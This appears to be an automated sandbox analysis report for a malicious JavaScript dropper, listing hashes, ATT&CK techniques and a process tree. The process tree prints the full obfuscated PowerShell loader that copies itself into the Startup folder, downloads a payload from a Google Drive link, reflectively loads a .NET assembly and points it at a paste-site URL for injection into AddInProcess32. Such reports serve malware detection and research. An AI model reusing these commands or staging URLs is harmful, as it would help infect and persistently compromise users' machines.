ff6e5b04064c63dd80619d02c242c856bbf4e1f94ab230ca74817c3aa471ece4

General

Target

ff6e5b04064c63dd80619d02c242c856bbf4e1f94ab230ca74817c3aa471ece4.js
Size

60KB
MD5

caf142ae86793cd64c2947889f57ce28
SHA1

3c41375b1ee78c89b581b3d2a2aea42f895caab6
SHA256

ff6e5b04064c63dd80619d02c242c856bbf4e1f94ab230ca74817c3aa471ece4
SHA512

99eef70a65338f8147b9f5400ce3f49475140eb20d406c1cef0014abcd812ba0da5d94c5b61bd6deb0376ded7331fa1b4367283de86dd5f2edb7d215f4be6608
SSDEEP

1536:IHXpEjO9Xwq2Sk6e2Nhxdd5pdLv+lIXQXdE4QmuWOMP3HXpEjO9Xwq2Sk6e2Nhx6:IHXp+q62Nhxdd5pdq6k91HXp+q62Nhx6

Score

10^/10

discovery execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://drive.google.com/uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur

exe.dropper

https://drive.google.com/uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
27	2828	powershell.exe
29	2828	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3468	powershell.exe
2828	powershell.exe
2488	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Control Panel\International\Geo\Nation	wscript.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CJJ.js	wscript.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CJJ.js	wscript.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
26	drive.google.com
27	drive.google.com

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
1272	cmd.exe
3336	PING.EXE

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
3336	PING.EXE

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
2488	powershell.exe
2488	powershell.exe
3468	powershell.exe
3468	powershell.exe
3468	powershell.exe
2828	powershell.exe
2828	powershell.exe
2828	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	2488	powershell.exe
Token: SeDebugPrivilege	3468	powershell.exe
Token: SeDebugPrivilege	2828	powershell.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 3628 wrote to memory of 1272	3628	wscript.exe	84
PID 3628 wrote to memory of 1272	3628	wscript.exe	84
PID 1272 wrote to memory of 3336	1272	cmd.exe	86
PID 1272 wrote to memory of 3336	1272	cmd.exe	86
PID 1272 wrote to memory of 2488	1272	cmd.exe	97
PID 1272 wrote to memory of 2488	1272	cmd.exe	97
PID 3628 wrote to memory of 3468	3628	wscript.exe	101
PID 3628 wrote to memory of 3468	3628	wscript.exe	101
PID 3468 wrote to memory of 2828	3468	powershell.exe	103
PID 3468 wrote to memory of 2828	3468	powershell.exe	103

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\ff6e5b04064c63dd80619d02c242c856bbf4e1f94ab230ca74817c3aa471ece4.js
1⤵
- Checks computer location settings
- Drops startup file
- Suspicious use of WriteProcessMemory
PID:3628
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 10 & powershell -command [System.IO.File]::Copy('C:\Users\Admin\AppData\Local\Temp\ff6e5b04064c63dd80619d02c242c856bbf4e1f94ab230ca74817c3aa471ece4.js', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sj.JJC.js')')
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:1272
- - C:\Windows\system32\PING.EXE
    ping 127.0.0.1 -n 10
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:3336
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -command [System.IO.File]::Copy('C:\Users\Admin\AppData\Local\Temp\ff6e5b04064c63dd80619d02c242c856bbf4e1f94ab230ca74817c3aa471ece4.js', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sj.JJC.js')')
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2488
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'JgAoACAAJABFAE4AVgA6AEMATwBNAHMAUABlAGMAWwA0ACwAMQA1ACwAMgA1AF0ALQBKAG8AaQBOACcAJwApACAAKAAgACgAKAAnADgATwBaAGkAbQBhAGcAZQBVAHIAbAAgAD0AIABOADYASQBoAHQAdABwAHMAOgAvAC8AZAByAGkAdgBlAC4AZwBvAG8AZwBsAGUALgBjAG8AbQAvAHUAYwA/AGUAeABwAG8AcgB0AD0AZABvAHcAbgBsAG8AYQBkACYAaQBkAD0AJwArACcAMQBBACcAKwAnAEkAVgBnAEoASgBKAHYAMQBGACcAKwAnADYAdgBTADQAcwBVAE8AeQBiAG4ASAAtAHMARAB2AFUAaABCAFkAdwB1AHIAIABOADYASQA7ADgATwBaAHcAZQBiAEMAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjACcAKwAnAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlACcAKwAnAGIAQwBsAGkAZQBuAHQAOwA4AE8AWgBpAG0AYQBnAGUAQgB5AHQAZQBzACAAPQAgADgATwBaAHcAZQBiAEMAbABpAGUAbgB0AC4ARABvAHcAbgBsAG8AYQBkAEQAYQB0AGEAKAA4AE8AWgBpAG0AYQBnACcAKwAnAGUAVQByAGwAKQA7ADgATwBaAGkAbQBhAGcAZQBUAGUAeAB0ACAAPQAgAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQAnACsAJwBuACcAKwAnAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdAAnACsAJwBTACcAKwAnAHQAcgBpACcAKwAnAG4AJwArACcAZwAoADgATwBaAGkAbQBhAGcAZQBCACcAKwAnAHkAdABlAHMAKQA7ADgATwBaAHMAdABhAHIAdABGAGwAYQBnACAAPQAgAE4ANgBJADwAPABCAEEAUwBFADYANABfAFMAVABBAFIAVAA+AD4ATgA2AEkAOwAnACsAJwA4AE8AWgBlAG4AZABGAGwAJwArACcAYQBnACAAPQAgAE4ANgBJADwAPABCAEEAUwBFADYANABfAEUATgBEAD4APgBOADYASQA7ADgATwAnACsAJwBaAHMAdABhACcAKwAnAHIAdABJAG4AZABlAHgAIAA9ACAAOABPAFoAaQBtAGEAZwBlAFQAZQB4AHQALgBJAG4AZABlAHgATwBmACgAOABPAFoAcwB0AGEAcgB0AEYAbABhAGcAKQA7ADgATwBaAGUAbgBkAEkAbgBkAGUAeAAgAD0AIAAnACsAJwA4AE8AWgBpAG0AYQBnAGUAVABlAHgAdAAuAEkAbgBkAGUAeABPAGYAKAA4AE8AWgBlAG4AZABGAGwAYQBnACkAOwA4AE8AWgBzAHQAYQByAHQASQBuAGQAZQB4ACAALQBnAGUAIAAwACAALQBhAG4AZAAgADgATwBaAGUAbgBkAEkAbgBkAGUAeAAgAC0AZwB0ACAAJwArACcAOAAnACsAJwBPAFoAcwB0AGEAcgB0AEkAbgBkAGUAeAA7ADgATwBaAHMAdABhAHIAdABJAG4AZABlAHgAIAArAD0AJwArACcAIAA4AE8AWgBzAHQAYQByAHQARgBsAGEAZwAuAEwAZQBuAGcAdABoADsAOABPAFoAYgBhAHMAZQA2ADQATAAnACsAJwBlAG4AZwB0AGgAIAA9ACAAJwArACcAOABPAFoAZQBuAGQASQBuAGQAZQB4ACAALQAgADgATwBaAHMAdABhAHIAdABJAG4AZABlAHgAJwArACcAOwA4AE8AWgBiAGEAcwBlADYANABDAG8AbQBtAGEAbgBkACAAPQAgADgATwBaAGkAbQBhAGcAZQBUAGUAeAB0AC4AUwB1AGIAcwB0ACcAKwAnAHIAaQBuAGcAKAA4AE8AWgBzAHQAYQByAHQASQBuAGQAZQB4ACwAIAA4AE8AWgBiAGEAcwBlADYANABMAGUAbgBnAHQAJwArACcAaAApADsAOABPAFoAYgAnACsAJwBhAHMAZQA2ADQAUgBlAHYAZQByAHMAZQBkACAAPQAgAC0AagBvAGkAbgAgACgAOABPAFoAYgBhAHMAZQA2ADQAQwBvAG0AbQBhAG4AZAAuAFQAbwBDAGgAYQByAEEAcgByAGEAeQAoACkAIAAwAE4AUAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAIAA4AE8AWgBfACAAfQApAFsALQAxAC4ALgAtACgAOABPAFoAYgBhAHMAZQA2ADQAQwBvAG0AbQBhAG4AZAAuACcAKwAnAEwAZQBuAGcAdABoACkAXQA7ADgATwBaAGMAJwArACcAbwBtAG0AYQBuAGQAQgB5AHQAZQBzACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAA4AE8AWgBiAGEAcwBlADYANABSAGUAdgBlAHIAcwBlAGQAKQA7ADgATwBaAGwAbwBhACcAKwAnAGQAZQBkAEEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUgBlAGYAbABlAGMAdAAnACsAJwBpAG8AbgAuAEEAcwBzAGUAbQBiAGwAeQBdADoAOgBMAG8AYQBkACgAOABPAFoAYwBvAG0AbQBhAG4AZABCAHkAdABlAHMAKQA7ADgATwBaAHYAYQBpAE0AZQB0AGgAbwBkACAAPQAgAFsAZABuAGwAaQBiAC4ASQBPAC4ASABvAG0AZQBdAC4ARwBlAHQATQBlAHQAaABvAGQAKABOADYASQBWAEEASQBOADYASQApADsAOABPAFoAdgBhAGkATQAnACsAJwBlAHQAaABvAGQALgBJAG4AdgBvAGsAZQAoADgATwBaAG4AdQBsAGwALAAgAEAAKABOADYASQAwAC8AZQB6AHEAVAA1AC8AZAAvAGUAZQAuACcAKwAnAGUAdABzAGEAcAAvAC8AOgBzAHAAdAB0AGgATgA2AEkALAAgAE4ANgBJAGQAZQBzAGEAdABpAHYAYQBkAG8ATgA2AEkALAAgAE4ANgBJAGQAZQBzAGEAdABpAHYAYQBkAG8ATgA2AEkALAAgAE4ANgBJAGQAZQBzAGEAdABpAHYAYQBkAG8ATgA2AEkALAAgAE4ANgBJAEEAZABkAEkAbgBQAHIAbwBjAGUAcwBzADMAMgBOADYASQAsACAATgA2AEkAZABlAHMAYQB0AGkAdgBhAGQAbwBOADYASQAnACsAJwAsACAATgAnACsAJwA2AEkAZABlAHMAYQB0AGkAdgBhAGQAbwBOADYASQAsAE4ANgBJAGQAZQBzAGEAdABpAHYAYQBkAG8ATgA2AEkAJwArACcALABOADYASQBkAGUAcwBhAHQAaQB2AGEAZABvAE4ANgBJACwATgA2AEkAZABlAHMAYQB0AGkAdgBhAGQAbwBOADYASQAsAE4ANgBJAGQAZQBzAGEAdABpAHYAYQBkAG8ATgA2AEkALABOADYASQBkAGUAcwBhAHQAaQB2AGEAZABvAE4ANgBJACwATgA2AEkAMQBOADYAJwArACcASQAsAE4ANgBJACcAKwAnAGQAZQBzAGEAdABpAHYAYQBkAG8ATgA2AEkAKQApADsAJwApACAALQByAGUAcABsAGEAYwBlACAAIAAnADgATwBaACcALABbAEMAaABhAHIAXQAzADYAIAAtAHIAZQBwAGwAYQBjAGUAIAAgACcAMABOAFAAJwAsAFsAQwBoAGEAcgBdADEAMgA0AC0AcgBlAHAAbABhAGMAZQAnAE4ANgBJACcALABbAEMAaABhAHIAXQAzADkAKQAgACkA';$OWjuxD = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64String($Codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3468
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "&( $ENV:COMsPec[4,15,25]-JoiN'') ( (('8OZimageUrl = N6Ihttps://drive.google.com/uc?export=download&id='+'1A'+'IVgJJJv1F'+'6vS4sUOybnH-sDvUhBYwur N6I;8OZwebClient = New-Objec'+'t System.Net.We'+'bClient;8OZimageBytes = 8OZwebClient.DownloadData(8OZimag'+'eUrl);8OZimageText = [System.Text.E'+'n'+'coding]::UTF8.Get'+'S'+'tri'+'n'+'g(8OZimageB'+'ytes);8OZstartFlag = N6I<<BASE64_START>>N6I;'+'8OZendFl'+'ag = N6I<<BASE64_END>>N6I;8O'+'Zsta'+'rtIndex = 8OZimageText.IndexOf(8OZstartFlag);8OZendIndex = '+'8OZimageText.IndexOf(8OZendFlag);8OZstartIndex -ge 0 -and 8OZendIndex -gt '+'8'+'OZstartIndex;8OZstartIndex +='+' 8OZstartFlag.Length;8OZbase64L'+'ength = '+'8OZendIndex - 8OZstartIndex'+';8OZbase64Command = 8OZimageText.Subst'+'ring(8OZstartIndex, 8OZbase64Lengt'+'h);8OZb'+'ase64Reversed = -join (8OZbase64Command.ToCharArray() 0NP ForEach-Object { 8OZ_ })[-1..-(8OZbase64Command.'+'Length)];8OZc'+'ommandBytes = [System.Convert]::FromBase64String(8OZbase64Reversed);8OZloa'+'dedAssembly = [System.Reflect'+'ion.Assembly]::Load(8OZcommandBytes);8OZvaiMethod = [dnlib.IO.Home].GetMethod(N6IVAIN6I);8OZvaiM'+'ethod.Invoke(8OZnull, @(N6I0/ezqT5/d/ee.'+'etsap//:sptthN6I, N6IdesativadoN6I, N6IdesativadoN6I, N6IdesativadoN6I, N6IAddInProcess32N6I, N6IdesativadoN6I'+', N'+'6IdesativadoN6I,N6IdesativadoN6I'+',N6IdesativadoN6I,N6IdesativadoN6I,N6IdesativadoN6I,N6IdesativadoN6I,N6I1N6'+'I,N6I'+'desativadoN6I));') -replace '8OZ',[Char]36 -replace '0NP',[Char]124-replace'N6I',[Char]39) )"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2828

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

2

T1059

JavaScript

1

T1059.007

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

Remote System Discovery

1

T1018

System Information Discovery

2

T1082

System Network Configuration Discovery

1

T1016

Internet Connection Discovery

1

T1016.001

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
d28a889fd956d5cb3accfbaf1143eb6f

SHA1
157ba54b365341f8ff06707d996b3635da8446f7

SHA256
21e5d7ccf80a293e6ba30ed728846ca19c929c52b96e2c8d34e27cd2234f1d45

SHA512
0b6d88deb9be85722e6a78d5886d49f2caf407a59e128d2b4ed74c1356f9928c40048a62731959f2460e9ff9d9feee311043d2a37abe3bb92c2b76a44281478c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
2958373cb1fc7c0b928892235989a20d

SHA1
9685939babf35b4948c61480b81a1d181c963edd

SHA256
d542c1a490347fac34fee7f16ce4de57bb6deac1e9f1d249fd6f4721f2eb7d87

SHA512
026be0289fbbd833303a6cae5cc7c06dcdbba19dc03f76e05742cc1c733566baae056523d74ac57a6fe913f3b5de320c9ccab6a5afe663f40c1f082d84e139bb

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_q2qbubaz.24t.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2488-1-0x00007FF9CE983000-0x00007FF9CE985000-memory.dmp

Filesize
8KB

Download
memory/2488-8-0x000001F5C1180000-0x000001F5C11A2000-memory.dmp

Filesize
136KB

Download
memory/2488-12-0x00007FF9CE980000-0x00007FF9CF441000-memory.dmp

Filesize
10.8MB

Download
memory/2488-13-0x00007FF9CE980000-0x00007FF9CF441000-memory.dmp

Filesize
10.8MB

Download
memory/2488-16-0x00007FF9CE980000-0x00007FF9CF441000-memory.dmp

Filesize
10.8MB

Download

Analysis

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